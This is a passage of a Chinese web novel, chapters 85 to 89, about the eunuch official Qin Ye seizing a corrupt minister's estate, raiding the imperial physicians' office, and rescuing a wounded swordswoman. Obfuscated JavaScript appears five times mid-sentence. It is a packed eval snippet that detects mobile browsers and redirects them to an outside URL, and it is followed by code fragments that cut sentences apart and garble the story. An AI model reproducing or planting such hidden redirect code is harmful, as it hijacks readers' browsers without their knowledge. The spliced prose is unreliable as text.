他展开信纸,第一行字便让他瞳孔一缩:“这个秘密,只有我死后才能公开。那是大周新皇上官煜登基之初……” 就在这时,外面传来钱有德焦急的呼喊声:“秦公公!秦公公可在里面?” 第八十五章 全部上缴国库 虽然隔着密室和密道,声音已经很微弱,但秦烨还是听得一清二楚。他迅速将信件收好,心中暗自盘算着今晚再来一探究竟。 “这钱有德,倒是尽职尽责。”秦烨将信件和玉牌重新放回匣子,快步离开密室。 他仔细检查了一遍书房,确保一切如常后才打开房门。钱有德正在外面来回踱步,见到秦烨顿时松了口气。 “秦公公!”钱有德如释重负,额头上还带着细密的汗珠,“您在里面这么久不出声,可吓死小人了。” “无妨。”秦烨淡淡一笑,目光扫过钱有德紧张的神色,“清点得如何了?” “管家那边已经造好了详细清单。”钱有德凑近压低声音,“白银太多根本数不尽,黄金三万有余,珠宝字画更是不计其数。秦公公,这些银两……” “全部上缴国库。”秦烨斩钉截铁道,眼神坚定。 钱有德一愣,随即露出敬佩之色:“秦公公清正廉洁,小人佩服!” 正说着,远处传来阵阵哭声,凄厉悲凉,在寂静的夜色中格外刺耳。 “那是?”秦烨皱眉。 “端木府的家眷,正等候发落。”钱有德解释道,“都关在前院偏厅里。” 秦烨走近一看,十几个锦衣华服的妇人正在抹泪。见他来了,纷纷跪地求饶。有的拍打着地面痛哭,有的抱着孩子哀求,场面一时混乱不堪。 “大人开恩啊!” “求您饶了孩子吧!” “我们什么都不知道啊!” 几个年轻貌美的小妾更是频频抛媚眼,妄图博取同情。她们的衣着华丽,妆容精致,显然没有意识到眼前的处境有多严重。 唯有端木川,那个在玉华阁见过的青年,正用怨毒的目光死死盯着秦烨。他的衣衫有些凌乱,但依然掩饰不住骨子里的傲慢。 若不是这个该死的太监,父亲也不会落得如此下场……端木川咬牙切齿,眼中的恨意几乎要化作实质。 秦烨视若无睹,转身吩咐钱有德:“按律处置。” “是!”钱有德领命,立即招呼衙役上前。 “不要!求求您……” “大人饶命啊!” 哭喊声此起彼伏,但秦烨已经转身离开。他负手而立,目光深邃。这端木正的案子,恐怕还有更多不为人知的内情。那封信里提到的秘密,又会是什么? 夜色渐深,府邸内灯火通明。衙役们正在清点财物,不时有马车驶入驶出,将查抄的赃物运往指定地点。 秦烨站在二楼廊下,看着忙碌的场景。端木正一案,表面上已经告一段落,但他总觉得这只是个开始。那封神秘的信件,那枚刻着“卧虎藏峰”的玉牌,无不预示着更大的秘密。 “秦公公。”钱有德快步走来,“端木府上下已经清点完毕,是否需要……” “你先去休息吧。”秦烨打断他的话,“明日还要处理后续事宜。” “是。”钱有德躬身退下。 秦烨望着渐渐暗淡的天色,心中已有计较。今晚,他一定要看完那封信,但现在,还是要稳住局面,不能打草惊蛇。 秦明川被带走时,回头狠狠瞪了秦烨一眼。那眼神中的恨意,让秦烨微微眯起眼睛。这个年轻人,恐怕不会善罢甘休。 夜色如墨,笼罩着整个汴城。街道上寂静无声,只有零星的更夫打更声在远处回荡。 秦烨缓步走出端木正的府邸,冷风吹过,衣袍轻轻摆动。他站在府门前,目光在四周阴影处缓缓扫过。黑暗中,十几道人影若隐若现,他们藏在各个角落,试图掩饰自己的存在。 “呵。”秦烨轻笑一声,眼中闪过讥讽。这些人中,有工部尚书张马临的眼线,也有民部尚书**翔派来的探子。他们像是饿狼盯着猎物般,等着看这场抄家的结果。 夜风中传来窸窸窣窣的脚步声,一个黑影悄然靠近府门。那人探头张望了几下,见四下无人注意,便快步走向不远处的巷口。 秦烨眯起眼睛,看着那道身影消失在黑暗中。他知道,这些探子很快就会把消息传回各自的主子那里。 “跑得倒是挺快。”他低声自语,嘴角勾起一抹冷笑。 不多时,藏在暗处的人影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498103|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆续散去。他们打探到的消息恐怕会让主子们大失所望——这次抄家,秦烨分文未取,滴水不沾。别说**,就连一根银针都没碰。 寒风呼啸,吹得街边的灯笼摇曳不定。秦烨整了整衣襟,转身朝宫城方向走去。 路上行人寥寥,偶尔遇到几个巡夜的禁军,看到秦烨的官服,都恭敬地行礼让道。 “大人。”一个年轻的禁军低头行礼。 秦烨点头示意,继续向前走去。 守门的禁军认出秦烨,立即打开宫门放行。走进宫城,四周一片静谧,只有脚下的青石板发出轻微的响声。 承明殿前,两排宫灯散发着柔和的光芒。推开殿门,一股暖意扑面而来,驱散了身上的寒意。 上官瑾正坐在御案后批阅奏章,烛光映照着她精致的侧颜。听到脚步声,她头也不抬,只是轻声道:“回来了。” “是。”秦烨走到殿中站定,目光落在案上堆积如山的奏章上。 殿内一时陷入沉默,只有朱笔在纸上书写的沙沙声。良久,上官瑾才放下手中的朱笔,抬起头看向秦烨:“查出来了?” 秦烨注意到她眼中暗含的期待,点头道:“御医署的赵马康。” “哦?”上官瑾微微挑眉,“你如何确定?” “除了御医署,还能有谁?”秦烨缓步上前,“能在宫中下毒的,也就这么几个地方。而且,赵马康最近的举动很是可疑。” “说说看。”上官瑾来了兴趣,示意秦烨继续。 秦烨沉声道:“赵马康这半个月来,每次进宫都会带着一个特制的药箱。按理说,太医给陛下看诊,用不着那么多药物。而且……” 他顿了顿,眼中闪过一丝寒意:“我派人暗中查过,那药箱的夹层里,藏着一些见血封喉的剧毒。” 上官瑾眼中寒芒一闪:“你确定?” “千真万确。”秦烨语气坚定,“而且,赵马康最近频繁出入几个勋贵府邸,这些人都与先帝有旧。” “原来如此。”上官瑾站起身,在殿内来回踱步,“那你觉得,该如何处置?” 第八十六章 全部诛灭 秦烨眼中闪过一丝狠厉:“既然敢刺杀陛下,那就该全部诛灭。留着他们,只会后患无穷。” “朕也是这么想的。”上官瑾停下脚步,“幸霆!” 殿外传来一阵铿锵的脚步声,禁军统领幸霆大步走了进来。他身着铠甲,腰佩长剑,一脸肃然。 “明日一早,剿灭御医署。”上官瑾下令道,声音中带着不容置疑的威严。 “是!”幸霆抱拳领命。 “秦烨会跟你一起去。”上官瑾补充道。 幸霆愣了一下,有些不解地看向秦烨。【一个文官,去剿灭御医署做什么?】 似乎看出了幸霆的疑惑,上官瑾解释道:“御医署擅长用毒,秦烨懂得辨毒解毒,可以保护将士们的安全。” 幸霆这才恍然,连忙向秦烨抱拳:“多谢秦大人相助。” “统领客气了。”秦烨回礼道。 等幸霆退下后,殿内又恢复了安静。烛光摇曳,在墙上投下跳动的影子。 上官瑾看向秦烨:“你也退下吧。” “为何?”秦烨挑眉,脸上露出促狭的笑容。 “朕要沐浴。”上官瑾俏脸微红,语气中带着几分羞恼。 “那又如何?”秦烨笑道,“咱们之间,还需要这般见外吗?” “你!”上官瑾羞恼地跺了跺脚,“快出去!” “好好好,我这就走。”秦烨笑着退出殿外,身后传来一声轻哼。 站在殿外的夜色中,秦烨收起了笑容。远处传来几声更漏,提醒着时间的流逝。 明日的行动,不能掉以轻心。御医署虽然高手不多,但最擅长的就是用毒。一不小心,就会中了他们的圈套。 回到住处,秦烨没有休息,而是开始翻找各种药材。他要配制一些解毒丹,明天带给禁军将士们防身。 夜色渐深,烛光依旧。秦烨专注地研磨药材,调配药方。偶尔有风吹进窗户,带来远处更夫的打更声。 “咚——咚——咚——” 三更已过,秦烨终于完成了解毒丹的配制。看着桌上整整齐齐摆放的药丸,他长出一口气。 收拾好药材,秦烨躺在床上,却没有立即入睡。他闭着眼睛,在脑中推演着明天可能遇到的各种情况。 御医署的人虽然武功不高,但用毒的手段诡异莫测。稍有不慎,就会中了他们的圈套。必须要想好应对之策。 夜风吹动窗纱,发出轻微的响动。秦烨翻了个身,强迫自己入睡。明天的行动,需要充足的精力。 晨光熹微,大周皇城内一片肃杀。 寒风呼啸,卷起地上的落叶,在空中打着旋儿。禁军将士们个个神情凝重,手中的兵器闪着寒光。御医署门前的青石板上,倒映着他们严阵以待的身影。 秦烨站在御医署外,目光如刀般锐利。他身着月白色官服,腰间玉佩随风轻晃,发出清脆的声响。虽是一介太监,但周身却透着一股不容忽视的威严。 “这赵马康,真是好大的胆子。”秦烨眯起眼睛,声音中带着一丝冷意。 幸霆立在一旁,压低声音道:“秦公公,属下已经按您的吩咐,派人将御医署团团围住。就连一只蚊子也休想飞出去。” “很好。”秦烨点点头,目光扫过四周严阵以待的禁军。这些都是精锐,但面对御医署这群老谋深算之辈,还需多加小心。 御医署内一片寂静,仿佛一头蛰伏的野兽。秦烨知道,这种平静下往往暗藏杀机。 他从怀中取出一个青花瓷瓶,递给幸霆。瓷瓶通体晶莹,上面绘着繁复的花纹,一看就不是凡品。 “这是解毒丹,让将士们都服下。”秦烨淡淡道,“御医署中人精通药理,难保不会使些下作手段。” 幸霆接过瓷瓶,手掌微微一沉。他打开瓶塞,一股清香飘散开来。 “秦公公果然考虑周到。”幸霆由衷赞叹。 很快,禁军将士们都服下了解毒丹。药力在体内流转,一股暖流涌遍全身。 秦烨站在队伍前方,目光如炬地盯着御医署紧闭的大门。这赵马康胆敢谋害皇上,今日必要将其拿下。 “列阵!”幸霆一声令下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498104|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 禁军迅速排开,盾牌手在前,**手居中,弓箭手殿后,形成一个攻守兼备的阵型。寒光闪闪的刀枪剑戟,在晨光中泛着森然的光芒。 就在禁军准备强攻时,御医署内突然飞出数个药包。 “小心!”秦烨厉喝。 药包在空中炸开,黄色粉末四散飘荡。空气中弥漫着一股刺鼻的气味。几名禁军将士下意识地屏住呼吸,但见其他人毫无异状,这才想起服下的解毒丹。 “给我撞开大门!”幸霆一声令下。 轰隆一声,御医署的大门应声而碎。木屑纷飞,烟尘四起。 禁军如潮水般涌入,御医署内顿时喊杀声四起。那些平日趾高气扬的太医们此刻如丧家之犬,四处逃窜。有人想要反抗,却被训练有素的禁军一一制服。 秦烨不紧不慢地跟在大军后面入内。御医署内的摆设他再熟悉不过,每一处转角,每一间药房,他都了如指掌。 “搜!一间一间地搜!”幸霆大声下令。 禁军分成数队,开始地毯式搜索。药房、病房、库房,所有房间都被翻了个底朝天。但诡异的是,却始终不见赵马康的踪影。 “秦公公,整个御医署都搜遍了,没有发现赵马康。”一名校尉气喘吁吁地前来禀报。 秦烨眉头微皱,这赵马康不可能凭空消失。他快步走向赵马康平日所在的药房,仔细打量着四周。 药房内一片狼藉,药柜东倒西歪,药材撒了一地。空气中弥漫着各种药材混杂的气味。 忽然,秦烨察觉到一丝异样的气息波动。他的目光落在角落里的一处药架上,那里的灰尘分布似乎有些不自然。 “在这里。”秦烨来到药架前,手指轻轻摸索。 咔嚓一声,暗门显现。 幸霆见状,立刻拔出长刀戒备。刀锋在阳光下泛着寒光。 秦烨试着推门,却发现暗门被人从里面堵住了。他冷笑一声,一脚又一脚地踹在暗门上,沉闷的撞击声在寂静的夜色中格外刺耳。每一脚都蕴含着惊人的力量,暗门表面的木屑不断飞溅。 第八十七章 赵马康逃了 幸霆站在一旁,眼中闪过惊异之色。身为禁军将领,他自问也没有这般强横的力道。看着秦烨的动作,他不禁暗自揣测这位太监总管的**。 “你确定赵马康就在里面?”幸霆压低声音问道。 秦烨没有回答,只是继续踹门。汗水顺着他的额头滑落,在月光下泛着冷光。 “轰!” 随着最后一脚落下,暗门轰然倒地,激起漫天尘埃。灰尘在月光下飘散,如同一层薄纱笼罩着密室入口。 秦烨与幸霆快步冲入密室,目光迅速扫过四周。密室内摆放着各种医书和药材,角落里还有一张简陋的木床,但却不见赵马康的踪影。 “这些药材……”幸霆拿起一个瓷瓶,打开闻了闻,“有些我从未见过。” 秦烨正要说话,一股焦糊味突然钻入鼻腔。他眉头一皱,视线落在角落的火盆上。火盆中还在燃烧着纸张,但已所剩无几。 “该死!”秦烨快步上前,从火盆中捡起一片未完全燃尽的纸片。纸片一角赫然写着八个大字:“苍天已死,我主为皇!” “好大的胆子!”秦烨眼神一冷,指节因用力而发白。 幸霆凑过来看了一眼,面色凝重道:“这是要**啊。赵马康身为御医署院判,竟敢……” “他不简单。”秦烨打断道,目光扫视着密室的每个角落,“继续搜,看看还有什么线索。” 火盆中的纸张还未完全燃尽,说明赵马康离开不久。秦烨仔细搜寻密室的每个角落,寻找可能存在的密道。药柜被推开,地砖被敲击,但一番搜索下来,却一无所获。 “这些药材……”幸霆突然开口,“有些是制毒之物。” 秦烨走过去,拿起一个瓷瓶仔细端详:“你懂药理?” “略知一二。”幸霆苦笑,“我父亲曾是名医,小时候耳濡目染,多少懂些。这些药材大多有毒,寻常医馆根本不会存放。” “他应该还在御医署内。”秦烨对幸霆说道,“掘地三尺也要找到他。” 幸霆点头应下,正要转身,突然发现角落里有个闪亮的物件。他弯腰捡起,发现是一枚令牌。 “秦公公,你看这个。” 秦烨接过幸霆递来的令牌,瞳孔猛地一缩。这令牌与在端木正家中搜到的那枚一模一样,上面同样刻着那首诗: “龙潜海角恐惊天,暂且偷闲跃在渊。” “秦公公认得这令牌?”幸霆见秦烨神色异样,连忙问道。 秦烨摇头:“不认得。” 他说谎了。这令牌他再熟悉不过,当年在江湖上闯荡时就曾见过。只是没想到,事情会牵扯到那个组织。 “这是青云教的信物。”幸霆解释道,“青云教是江湖上一个神秘组织,其成员皆有反心,自比潜龙。” “原来是反贼组织。”秦烨眯起眼睛,心中却在盘算着什么。 幸霆点头:“不错。说来惭愧,我父亲年轻时也曾被青云教邀请加入,但他一心向着朝廷,便拒绝了。” 就在这时,外面传来禁军的禀报声:“大人,发现了一些巫疆蛊毒!” 幸霆脸色大变。御医署是调养龙体之地,竟然藏有如此剧毒之物! “带我去看看。”秦烨沉声道。 禁军带着他们来到另一间密室,里面摆放着数个玉盒。打开后,只见里面爬满了各种形状怪异的虫子,有的通体漆黑,有的浑身长满倒刺。 “这些都是剧毒之物。”幸霆面色凝重,“若是放出来,后果不堪设想。” 秦烨仔细检查了玉盒,发现每个盒子上都刻着细密的符文,显然是用来困住蛊虫的。 几番搜查无果后,秦烨与幸霆只得暂时放弃,准备前往大殿向女帝禀报。 然而上官瑾此时不见外人,秦烨只得让幸霆去汇报,自己则离开皇宫,准备取回在端木正家中搜到的信件。 夜色已深,街道上空无一人。秦烨走在石板路上,脚步声在寂静中格外清晰。他索性前往自己的府邸,这座原本的秦府经过重新装潢,焕然一新。 推开府门,一股清冷的气息扑面而来。秦烨正在庭院中踱步,突然,一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498105|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑影从墙头跌落。夜色中只见一抹青衣在空中划过优美的弧线,却带着几分狼狈。 秦烨眼疾手快,几个箭步冲上前,将那道身影稳稳接住。入手柔软,一股淡淡的幽香传来,像是山间初绽的野花香气。 “放开我!”怀中的女子挣扎着喝道,声音清冷中带着几分虚弱。 秦烨低头一看,是个容貌清丽的女子,约莫十**岁的年纪。她眉目如画,肤若凝脂,只是此刻面色苍白如纸,额角还渗着细密的冷汗。 “你伤得不轻,别乱动。”秦烨皱眉,注意到她胸前的衣衫已被鲜血浸透。 女子挣扎得更厉害了:“少管闲事!你鬼鬼祟祟躲在这里,一看就不是什么好人!” “这可是我家,我在自己家里溜达,有什么不对?”秦烨忍不住笑了,这姑娘倒是挺有意思。 “呵。”女子冷笑一声,眼中闪过一丝讥讽,“富贵人家出行,哪有独来独往的?你分明就是个小贼!” 话音未落,她突然抽出一柄长剑,直指秦烨咽喉。剑尖在月光下泛着寒光,带着凌厉的杀意。 “既然撞见你这个贼人,那就别怪我不客气了!” “喂喂,我好心接住你,你就这么报答救命恩人?”秦烨无奈地摇头,“再说了,你现在这样能打得过我吗?” 女子不由分说,长剑疾刺而来。剑势虽快,却明显带着几分虚浮。 秦烨轻松侧身避过,顺势扣住她的手腕。只是轻轻一握,女子便痛呼一声,长剑坠地,发出清脆的声响。 “你……你怎会如此厉害?”女子震惊地看着他,眼中满是不可思议。 秦烨没有理会她的惊讶,目光落在她胸前渗血的伤口上:“伤得不轻啊,需要及时处理。再这样下去,你怕是撑不了多久。” “不用你管!”女子倔强地说,“我叫沈飞雪,不是什么弱女子!” 话音未落,她身子一软,险些栽倒。脸色更是白得吓人,连嘴唇都失去了血色。 秦烨连忙将她抱起:“嘴硬什么,都快站不稳了。” 第八十八章 救下沈飞雪 沈飞雪想要挣扎,却已经没有力气。她只能任由秦烨抱着,穿过庭院的回廊。月光透过回廊的雕花窗棂,在地上投下斑驳的影子。 “这该往哪走?”秦烨环顾四周,有些迷茫。眼前的建筑布局复杂,一时间竟分不清方向。 “哼,果然是贼人,连路都不认得。”沈飞雪虚弱地嘲讽道,声音却已经微不可闻。 “我这宅子太大,一时半会还真记不清。”秦烨随口应道,“你要是不信,等你好了,我让管家带你转转。” 找了半天,总算找到一间空房。屋内陈设简单,一张床榻,一张案几,倒也干净整洁。秦烨将沈飞雪放在床上,准备为她处理伤口。 “你……你要做什么?”见秦烨伸手解她衣衫,沈飞雪慌了,苍白的脸上浮现出一抹红晕。 “别乱想,我是要给你疗伤。”秦烨正色道,“你失血过多,再不处理会有危险。” 沈飞雪还想反抗,但浑身无力,只能红着脸任由秦烨动作。她紧闭双眼,睫毛微微颤动,显然十分紧张。 秦烨取出银针,动作娴熟地封住她周身要穴,防止继续失血。针尖所至,沈飞雪只觉一阵酥麻,但确实止住了血。 “你……你懂医术?”她惊讶地问。 “略懂一二。”秦烨专注地为她处理伤口,“别说话,省点力气。” 沈飞雪不再作声,只是偷偷打量着秦烨。他的动作很轻柔,完全不像个粗鲁的贼人。而且这一手医术,也不是一般人能有的。 “别乱动,我去取些金疮药。”秦烨叮嘱一声,转身离开。 刚走到院中,就听下人禀报:“老爷,门外有位叫武勇的,说是您朋友。” “武勇?”秦烨眉头微皱,“让他进来。” 不多时,一个魁梧男子大步走来,对秦烨深深一礼:“恩公!” “不必多礼。”秦烨摆手问道,“你那小师妹可来了?” “小师妹?”武勇一愣,“沈飞雪还没到吗?我让她先来拜访恩公,怎么还没到?” 秦烨笑了:“来是来了,不过受了伤,我正给她急救呢。” “受伤了?”武勇脸色一变,“是不是又遇到那些人了?” “那些人?”秦烨有些疑惑,“什么人?” 武勇欲言又止:“这……恩公,小师妹的事情比较复杂。她这次来,其实是想请您帮忙的。” “帮忙?” “是啊,小师妹她……” “还是算了。”秦烨拦住他,“现在不是说这个的时候,等她伤好了再说吧。你先在客房休息,我去给她上药。” 武勇恍然,连忙退开。 秦烨回到房中,沈飞雪虚弱地说:“快……快解开我的穴道。” “别急,让我先把伤口处理好。” 秦烨取出金疮药,手指沾着药,一点一点涂抹在沈飞雪的伤口上。药粉微凉,但沈飞雪却觉得脸上发烫,这种亲密的接触让她心跳加快,一种异样的感觉在心头蔓延。 “你……你能不能快一点?”沈飞雪忍不住开口,声音有些颤抖。她下意识地想要躲开,却又担心扯动伤口。 秦烨挑了挑眉,手上的动作依旧不紧不慢:“伤口要仔细处理,急什么?”他的目光专注地落在那道狰狞的伤痕上,眉头微微蹙起。 屋内的烛火摇曳,在墙上投下晃动的影子。沈飞雪能清晰地感受到秦烨的呼吸,那温热的气息拂过她的脸颊,让她心神不宁。 “你分明就是……就是想占我便宜!”沈飞雪咬着嘴唇说道,眼角微微泛红。 “得了吧。”秦烨轻笑一声,手上的动作顿了顿,“要是我真想占你便宜,还用这么麻烦?直接把你按床上不就完事了。” 这话一出,沈飞雪的脸更红了,她恼怒地瞪着秦烨:“你……你这登徒子!” 秦烨正要说什么,门外突然传来一个焦急的声音:“师妹,你没事吧?” 听到这熟悉的声音,沈飞雪眼前一亮:“师兄!”她下意识地想要起身,却被秦烨按住了肩膀。 “别乱动。”秦烨的语气带着几分无奈,“伤口还没处理完。” 沈飞雪转头看向秦烨,狐疑道:“你真是这儿的主人?”她的目光在房间内扫视,精致的家具,考究的摆设,处处透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504723|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不凡。 “我骗你做什么?”秦烨继续专注于上药,“别乱动,要不要叫你师兄进来看看?” “不要!”沈飞雪慌忙摇头,脸上飞快闪过一丝慌乱。 秦烨看在眼里,却没有多说什么。等他包扎完伤口,才看了眼沈飞雪满是污渍的衣裳,皱眉道:“这衣服不能穿了。” “那要我光着不成?”沈飞雪没好气地说,她低头看了看自己的衣服,确实已经破损得不成样子。 秦烨朝外喊道:“武勇,去拿套干净衣服来。” “是!”门外传来应答声。 不一会儿,武勇就送来了一套秦烨的衣物。沈飞雪看着那男装,一脸嫌弃:“这是你的衣服?我才不要穿男人的衣服。” “爱穿不穿。”秦烨把衣服往她怀里一塞,“要么光着。”说完,他转身走向门口,“我出去,你换吧。” 沈飞雪嘟着嘴,最后还是不情不愿地换上了。当她换好衣服,正准备开门时,突然听到外面的对话。 “秦公子,我师妹她……”武勇的声音充满担忧。 “放心,伤势不算太重。”秦烨的声音传来,“不过能从高手手下逃脱,你这个师妹倒是有几分本事。” 沈飞雪推开门,正好看到两人站在廊下说话。月光洒在秦烨的侧脸上,勾勒出一道清冷的轮廓。 秦烨转头看向她,目光微微一怔。这女子穿上男装非但不显突兀,反而别有一番风韵。宽大的衣袖遮掩不住她纤细的手腕,束起的长发更显得英气逼人。 “还挺好看。”他由衷地说道。 沈飞雪哼了一声:“那是我人长得好看。”她扬起下巴,却在对上秦烨的目光时,又迅速移开视线。 武勇关切地问:“师妹,伤得重不重?” “还好。”沈飞雪轻声道,她看了看自己的手臂,“多亏秦公子及时相救。” “是谁伤的你?”武勇追问,眼中闪过一丝担忧。 沈飞雪沉默片刻,缓缓道:“兵器录第一,芮容霄。” “什么?”秦烨和武勇同时惊呼。夜色中,两人的表情都变得凝重起来。 第八十九章 受伤原因 “就是那个杀害你们师父的人?”秦烨皱眉问道。他想起之前听说过的传闻,这个芮容霄在江湖上可是赫赫有名的人物。 沈飞雪点点头:“正是他。”她的声音有些发涩,“这些年来,我和师兄一直在追查师父的死因。” “你能从他手下逃脱,已经很不容易了。”秦烨说道。他注意到沈飞雪说起这件事时,眼中闪过的痛苦。 沈飞雪苦笑:“我只是被他一道剑气所伤,他根本没把我放在眼里。那种实力……简直不是人力所能及的。” 秦烨和武勇对视一眼,都从对方眼中看到了凝重。仅仅一道剑气就让沈飞雪重伤,这芮容霄的实力未免太过恐怖。 “能说说具体发生了什么吗?”秦烨问道。他示意两人进屋,“外面风大,进去说吧。” 回到屋内,沈飞雪坐在椅子上,目光落在烛火上:“我得到师兄的消息后就往汴城赶,途中发现了芮容霄的踪迹。本想跟踪打探一下,却发现他竟然在和青云教的人来往。” “青云教?”秦烨眉头一皱,“他不是向来独来独往吗?” “我也很意外。”沈飞雪说,“可惜我功力不够,很快就被他发现了。他随手一道剑气,我就身负重伤。”说到这里,她的手不自觉地按在伤口处。 “那些青云教的人呢?”武勇担忧地问。 “他们一直追着我,但到了汴城附近就停下了。”沈飞雪说,“不知为何,他们似乎不敢进汴城。” 武勇松了口气,他最担心的就是连累秦烨。毕竟秦烨对他们兄妹已经够照顾了。 秦烨若有所思:“事情越来越复杂了。芮容霄为什么要杀你们师父?这其中必有隐情。” “应该是为了紫电剑。”沈飞雪解释道。 “紫电剑?”秦烨疑惑,“那不过是把普通的名剑,对芮容霄这种高手来说,应该算不得什么宝物吧?” 沈飞雪摇摇头:“事情没那么简单。紫电剑的来历,恐怕比我们想象的要复杂得多……”她的声音渐渐低了下去,似乎有什么难言之隐。 秦烨看着她欲言又止的模样,心中了然。这紫电剑背后,定然藏着不可告人的秘密。 “你若是不便说,那便不必说了。”秦烨轻声道。 沈飞雪神色凝重地点点头,“秦公子明白就好,这件事关系重大,知道的人越少越好。”她的声音很轻,却带着不容置疑的坚定。 “既如此,我先告辞了。”秦烨拱手,“你们就在这里安心住下,有什么需要尽管吩咐下人。” 转身离去时,他听到身后传来一声几不可闻的叹息。秦烨并未回头,他心知肚明,沈飞雪之所以不愿多说,无非是因为自己这个外人在场。初次见面,对方不够信任自己也在情理之中。 夜色渐深,宫中灯火次第亮起。 秦烨坐在承明殿内,手中把玩着那封未看完的信件。烛光在纸面上跳动,字迹忽明忽暗。不远处,女帝上官瑾正在批阅奏章,笔尖沙沙作响。 展开信纸,秦烨继续往下读去。端木正在信中记载的内容,让他眉头渐渐蹙起。 “先帝驾崩来得太突然了……”信中写道。 原来当年的皇位更迭,竟然还有这样的隐情。先皇原本是有储君的,却突然暴毙。之后上官煜监国,眼看皇位就要到手。谁知先帝临终前一纸诏书,改立宁王继位。而这位宁王,正是眼前的女帝上官瑾。 秦烨抬眼打量着案前的人影。烛光映照下,上官瑾的侧颜格外清冷。她专注地批阅着奏章,纤长的手指执笔有力,一笔一划间尽显帝王威仪。 这位看似端庄威严的女帝,年少时能够在夺嫡之争中胜出,手段定然不简单。不过这些往事,与他秦烨又有什么关系呢? “在看什么?”上官瑾突然开口,目光依旧停留在奏章上,“看得这么入神。” “哦,一封情书。”秦烨随口应道,将信件叠好收入怀中。 上官瑾的笔尖顿了顿:“情书?谁会给你寄情书?” “这可说不准。”秦烨嘴角微扬,“本公公在宫里可是万人迷,仰慕我的宫女数不胜数呢。” “是吗?”上官瑾放下朱笔,终于抬眼看向他,“那秦公公可有看中的对食人选?” “这个嘛……”秦烨装模作样地思索片刻,“还真有几个不错的。” “随你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504724|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便。”上官瑾淡淡道。殿内一时陷入沉默,只有烛火偶尔发出轻微的噼啪声。 突然,她话锋一转:“柔木氏公主的婚期快到了。” “哦?这么快?”秦烨眼前一亮,心跳不自觉地加快了几分。 “朕让你早点儿准备好。”上官瑾意味深长地看着他,目光中带着几分戏谑,“北疆女子可不比中原女子温婉,你可别到时候……力不从心。” “呵呵。”秦烨自信满满,“区区一个柔木氏公主而已,就算再来十个八个胡姬,我也能应付自如。” “大话说得倒是挺满。”上官瑾不以为然地白了他一眼,继续批阅奏章。 秦烨没有接话,看到上官瑾头也不抬的批阅奏折,心想不便多做打扰,便起身告退。 出了承明殿,秦烨没急着回去。想了想,转身独自朝着长春宫走去。 秦烨站在长春宫外,夜风微凉,吹散了几分热气。他抬头望向宫殿的琉璃瓦顶,月光洒在上面,泛着幽幽的光晕。 皇后司马玉华虽已解毒,但他总觉得心头不安。这毒来得蹊跷,若非自己及时发现,后果不堪设想。想到这,他不由加快了脚步。 宫道上忽然传来一阵轻盈的脚步声,抬眼望去,是雨竹。 只是今日的雨竹,与往日大不相同。她低着头,步履匆匆,仿佛要刻意避开他。那双往日灵动的眼眸中,此刻却带着一丝说不清道不明的情绪。 “雨竹。”秦烨唤住她。 雨竹停下脚步,却没有转身:“秦公公有事?” 这声“秦公公”叫得生疏,秦烨心头一紧:“你这是怎么了?” “没什么。”雨竹的声音很轻,带着几分疏离,“我还有事,先走了。” 秦烨伸手拉住她的手腕:“到底怎么回事?” 雨竹猛地抽回手,眼中隐约含着泪水:“放开!” 四下无人,秦烨索性将她拉到回廊的阴影处:“说吧,是不是有人欺负你了?” “欺负?”雨竹冷笑一声,“是啊,有人欺负我,欺负我太傻,居然相信一个太监能真心待我。” 